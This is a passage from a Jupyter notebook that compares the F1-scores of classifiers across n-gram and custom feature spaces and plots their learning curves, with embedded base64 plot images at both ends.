lAP+Cb\n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\n/wE9pg//mRaAcwAAAABJRU5ErkJggg==\n",
      "text/plain": [
       "<matplotlib.figure.Figure at 0x7ff187c8bf28>"
      ]
     },
     "metadata": {},
     "output_type": "display_data"
    }
   ],
   "source": [
    "def get_classifier_name(index):\n",
    "    '''\n",
    "    Returns the name of the classifier at the given index name\n",
    "    '''\n",
    "    return index.split()[len(index.split())-1]\n",
    "    \n",
    "#Group rows together using same classifier\n",
    "grouped = classifier_results.groupby(get_classifier_name)\n",
    "\n",
    "hist_df = pd.DataFrame(columns=['custom','count 1grams','count 2grams','count 3grams','tfidf 1grams','tfidf 2grams','tfidf 3grams'])\n",
    "\n",
    "for classifier, indices in grouped.groups.items():\n",
    "    \n",
    "    #Make a list of feature spaces\n",
    "    feature_spaces = indices.tolist()\n",
    "    feature_spaces = [feature_space.replace(classifier,'') for feature_space in feature_spaces]\n",
    "    feature_spaces = [feature_space.strip() for feature_space in feature_spaces]\n",
    "\n",
    "    #If no result exists, it will stay as 0\n",
    "    hist_df.loc[classifier] = {\n",
    "            'custom':0,\n",
    "            'count 1grams':0,\n",
    "            'count 2grams':0,\n",
    "            'count 3grams':0,\n",
    "            'tfidf 1grams':0,\n",
    "            'tfidf 2grams':0,\n",
    "            'tfidf 3grams':0\n",
    "    }\n",
    "    \n",
    "    #Extract F1-score from classifier_results to corrensponding entry in hist_df\n",
    "    for fs in feature_spaces:\n",
    "        hist_df[fs].loc[classifier] = classifier_results['F1-score'].loc[fs + ' ' + classifier]\n",
    "        \n",
    "\n",
    "#Plot the bar plot\n",
    "f, ax = plt.subplots()\n",
    "ax.set_ylim([0.989,1])\n",
    "hist_df.plot(kind='bar', figsize=(12,7), title='F1-score of all models grouped by classifiers', ax=ax, width=0.8)\n",
    "\n",
    "\n",
    "#Make Avgerage F1-score row and cols for the table and print the table\n",
    "hist_df_nonzero = hist_df.copy()\n",
    "hist_df_nonzero[hist_df > 0] = True\n",
    "hist_df['Avg Feature'] = (hist_df.sum(axis=1) / np.array(hist_df_nonzero.sum(axis=1)))\n",
    "hist_df_nonzero = hist_df.copy()\n",
    "hist_df_nonzero[hist_df > 0] = True\n",
    "hist_df.loc['Avg Classifier'] = (hist_df.sum(axis=0) / np.array(hist_df_nonzero.sum(axis=0)))\n",
    "hist_df = hist_df.round(4)\n",
    "display(hist_df)\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Learning curves\n",
    "Create learning curves for a sample of classifiers. This is to visualize how the dataset size impacts the performance"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 44,
   "metadata": {
    "collapsed": true
   },
   "outputs": [],
   "source": [
    "def plot_learning_curve(df_row,X,Y):\n",
    "    '''Plots the learning curve of a classifier with its parameters\n",
    "    \n",
    "    input - df_row: row of classifier_result\n",
    "            X: payload data\n",
    "            Y: labels\n",
    "    '''\n",
    "    #The classifier to plot learning curve for\n",
    "    estimator = df_row['model']\n",
    "    \n",
    "    title = 'Learning curves for classifier ' + df_row.name\n",
    "    train_sizes = np.linspace(0.1,1.0,5)\n",
    "    cv = ShuffleSplit(n=len(X), n_iter=3, test_size=0.2, random_state=0)\n",
    "    \n",
    "    #plot settings\n",
    "    plt.figure()\n",
    "    plt.title(title)\n",
    "    plt.xlabel(\"Training examples\")\n",
    "    plt.ylabel(\"Score\")\n",
    "    \n",
    "    print('learning curve in process...')\n",
    "    train_sizes, train_scores, test_scores = learning_curve(\n",
    "        estimator, X, Y, cv=cv, n_jobs=-1, train_sizes=train_sizes, verbose=0) #Change verbose=10 to print progress\n",
    "    print('Learning curve done!')\n",
    "    \n",
    "    train_scores_mean = np.mean(train_scores, axis=1)\n",
    "    train_scores_std = np.std(train_scores, axis=1)\n",
    "    test_scores_mean = np.mean(test_scores, axis=1)\n",
    "    test_scores_std = np.std(test_scores, axis=1)\n",
    "    plt.grid()\n",
    "\n",
    "    plt.fill_between(train_sizes, train_scores_mean - train_scores_std,\n",
    "                     train_scores_mean + train_scores_std, alpha=0.1,\n",
    "                     color=\"r\")\n",
    "    plt.fill_between(train_sizes, test_scores_mean - test_scores_std,\n",
    "                     test_scores_mean + test_scores_std, alpha=0.1, color=\"g\")\n",
    "    plt.plot(train_sizes, train_scores_mean, 'o-', color=\"r\",\n",
    "             label=\"Training score\")\n",
    "    plt.plot(train_sizes, test_scores_mean, 'o-', color=\"g\",\n",
    "             label=\"Cross-validation score\")\n",
    "\n",
    "    plt.legend(loc=\"best\")\n",
    "    plt.show()"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Three examples of learning curves from the trained classifiers.  \n",
    "All learning curves have upsloping cross-validation score at the end,  \n",
    "which means that adding more data would potentially increase the accuracy"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 45,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "learning curve in process...\n",
      "Learning curve done!\n"
     ]
    },
    {
     "data": {
      "image/png": "iVBORw0KGgoAAAANSUhEUgAAAf0AAAFlCAYAAADh+TGmAAAABHNCSVQICAgIfAhkiAAAAAlwSFlz\nAAALEgAACxIB0t1+/AAAIABJREFUeJzs3Xd8FGX+B/DPbMsm2YQACREB6U2kGEBqaAICgoDl4FCU\nYgU9KYcQQBABAY8TASVwwO9OUdp54h2W80Ap0pQiHYGEGsBUkpC6OzPP74/NTnbTCJDsbrKf9+vF\nK8nO7sx3Q5LPPGXmkYQQAkRERFTp6TxdABEREbkHQ5+IiMhHMPSJiIh8BEOfiIjIRzD0iYiIfARD\nn4iIyEcw9H1UXFwcHn74YY8ce+nSpfjqq688cmx3ysjIwPDhw/H444/j+++/L9N9l9f/30svvYSY\nmBgAwOzZs9GrVy8sWbLE5fG7NXPmTJw8eRIAcObMGfTu3RtDhw7Fp59+innz5hX5moEDB+Lnn38G\nAERHR6NHjx6Iiooq8rlWqxWjR4/Gf//733uqs7z16tULjz32GAYPHowhQ4ZgwIABGDhwIHbv3l1m\nxzhx4gR69epVZvubNm0aIiMjMXjwYJd/8fHxZXaM4owZMwYpKSnlfhxfYfB0AeR73nzzTU+X4BZn\nzpxBcnIytm3b5ulSSm316tXa55s2bcLOnTtx3333lcm+9+3bh2HDhgEAfvjhB3To0AHz588v9eu/\n+OILLF68GO3atSu07ddff8WcOXNw4cIF7RjebPHixWjZsqX29X//+19Mnz4de/bs8WBVJRs1ahTG\njh3r9uPu3bvX7ceszBj6VIjVasXixYtx8OBBKIqCBx98EDNnzoTFYsGOHTuwatUqWK1WpKSkYMiQ\nIZgwYQJ+/vlnzJ8/HwEBAcjKysKUKVPw8ccfo06dOjh//jysVitmzZqFjh07Ytq0aWjcuDHGjh2L\nli1b4uWXX8bevXuRkJCA559/HqNGjYKiKHj//ffx448/IigoCK1atUJsbCzWrVtXqN5Vq1Zhy5Yt\nMBgMqFu3LhYuXIht27bh+++/x6pVqwAAX375pfb1tGnTkJqaiqtXr6JLly744osv8P333yMsLAwA\n8Ic//AHjx49Hp06div0+rF+/Hhs3boTRaISfnx/effddNGrUSKvpwoULmD59OuLj4zF48GBs2rQJ\ne/bswUcffQRFUWCxWBAVFYVWrVph+fLlOHr0KBISEtC0aVMsXrzY5f3t2LEDH374IVRVRUBAAObM\nmQOLxaJtT0pKwqxZs5CcnIzExETUqlULH374IapXr15sncU93qtXLyxduhQLFiyAEAIvvfQSZs+e\njbfeegtLly5Fy5Yt8eOPPyI6Oho2mw1msxlTp07Fww8/XOL7WLJkCRISEvDnP/8ZgwYNwoYNG6Ao\nCnJyctClSxft/yYmJgbTp09HdnY2GjRogKysLADAhAkTEB8fjxkzZuDNN9/EgAEDXL5H69atw4QJ\nE7B27VqXxy9fvozp06cjLS0NYWFhEELgiSeewCOPPIJnn30WDRs2xLVr17Bu3Tp8+eWX2L59O3Jz\nc5GdnY2pU6eiT58+WL58Oa5cuYKrV68iISEBrVq1QpcuXfDVV18hLi4OU6ZMwcCBAxEbG4sZM2bA\narVCCIGnn34azz777G1/34QQiIuLQ5UqVQAAWVlZeOedd3Dp0iWkpaUhMDAQixcvRoMGDTBy5Ei0\nadMGR44cwY0bN9C2bVssWrQIOp0O69evxyeffAKLxYImTZpo+7fZbFi4cCH2798PvV6PVq1aISoq\nChaLBb169cLAgQOxc+dOpKam4o033sCRI0dw6tQpGAwGREdHIzw8vMT6b926hTlz5uC3336DJEmI\njIzEpEmTYDAY8NBDD+HRRx/Fb7/9hsWLFyMgIADz589HamoqFEXByJEj8fTTTyMzMxNRUVG4fPky\ndDodWrRogXfffRczZswAALzwwgv429/+hpo1a972+0m3IcgnXb16VbRp06bIbcuXLxcLFy4UqqoK\nIYT461//KmbPni1UVRXPPfecuHjxohBCiN9//100b95cJCcniwMHDohmzZqJuLg4IYQQBw4cEM2b\nNxenT58WQgixdu1a8eyzzwohhJg6dapYs2aNEEKIJk2aiHXr1gkhhDhx4oR46KGHRE5OjtiwYYN4\n9tlnRU5OjsjNzRVjxowRzz33XKFat2/fLvr27StSU1OFEEK89957YsWKFeJf//qXePnll7XnOX89\ndepU8cILL2jb3nrrLa2emJgY0aNHD6EoSrHfB1mWRYsWLUR8fLwQQogtW7aIjRs3FqrtwIED4vHH\nH9f227lzZ3HlyhUhhBD79u0TXbp0Ebdu3RLLli0Tjz32mLDZbIX2kZiYKNq2bat9H7///nsxduxY\nl/+/f/zjH2LVqlVCCCFUVRUvvviiWLt2bbF1llR/z549xfHjx7X/m+TkZJfHL168KAYOHChSUlKE\nEEKcO3dOdOnSRWRmZpb4Pgrue9myZWLOnDmF/m8GDx4sNm/eLIQQ4tChQ6Jp06biwIEDhV5fnOee\ne05899132td/+MMfxOeff679H7Ru3Vr861//ElevXhVNmjQRBw8eFEIIERcXJ0aOHCmys7